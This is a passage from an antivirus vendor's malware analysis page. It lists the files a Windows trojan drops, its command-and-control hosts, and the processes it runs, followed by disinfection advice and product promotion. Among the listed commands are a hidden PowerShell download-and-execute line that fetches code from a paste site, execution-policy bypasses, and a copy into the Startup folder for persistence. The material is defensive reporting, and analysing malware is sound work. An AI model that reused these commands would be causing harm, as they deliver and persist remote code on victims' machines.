  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\shellnew\diagpackage.dll.mui
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\ts_main.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_aud_reg_settings.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_driverblocklist.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_msvideo.ps1
  • %ALLUSERSPROFILE%\softwaredistribution_\system\video\vf_viddrv_unsigned.ps1
  • <Drive name for removable media>:\chromeupdater.js
Network activity
Connects to
  • 'tu###.mywire.org':7974
  • 'up##te.me':443
TCP
Other
  • 'up##te.me':443
UDP
  • DNS ASK tu###.mywire.org
  • DNS ASK up##te.me
Miscellaneous
Searches for the following windows
  • ClassName: 'Edit' WindowName: ''
Creates and executes the following
  • '%ALLUSERSPROFILE%\setup.exe'
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
  • '%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\SoftwareDistribution_\scheduled\Maintenance\ShellNew\dfr\SoftwareDistribution.js"
  • '%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\SoftwareDistribution_\scheduled\Maintenance\Resources\Licenses\setup\ChromeUpdater.js"
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /c powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1
  • '%WINDIR%\syswow64\xcopy.exe' "%ALLUSERSPROFILE%\SoftwareDistribution_\scheduled\Maintenance\ShellNew\dfr\SoftwareDistribution.js" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SoftwareDistribution.js*"
  • '%WINDIR%\syswow64\wscript.exe' "%ALLUSERSPROFILE%\Adobe\AIR\Logs\gp\PerfLogs\Google\start\dfl.vbs"
  • '%WINDIR%\syswow64\cmd.exe' /c powershell -windo 1 -noexit -exec bypass -file C:\Users\Public\Settings\A\News\win.ps1' (with hidden window)
  • '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit -comma Invoke-Expression(New-Object Net.WebClient).DowNloAdSTRiNg.Invoke('https://upaste.me/r/dcef605377e426c52')"' (with hidden window)
  • '%WINDIR%\syswow64\xcopy.exe' "%ALLUSERSPROFILE%\SoftwareDistribution_\scheduled\Maintenance\ShellNew\dfr\SoftwareDistribution.js" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\SoftwareDistribution.js*"' (with hidden window)

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
Free trial

 

Download Dr.Web

Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

Free trial

 

Download Dr.Web

Download by serial number

Download on App Store

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Free trial

 

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android

Free trial

14 days

Download now
Get it on Google Play
Wechat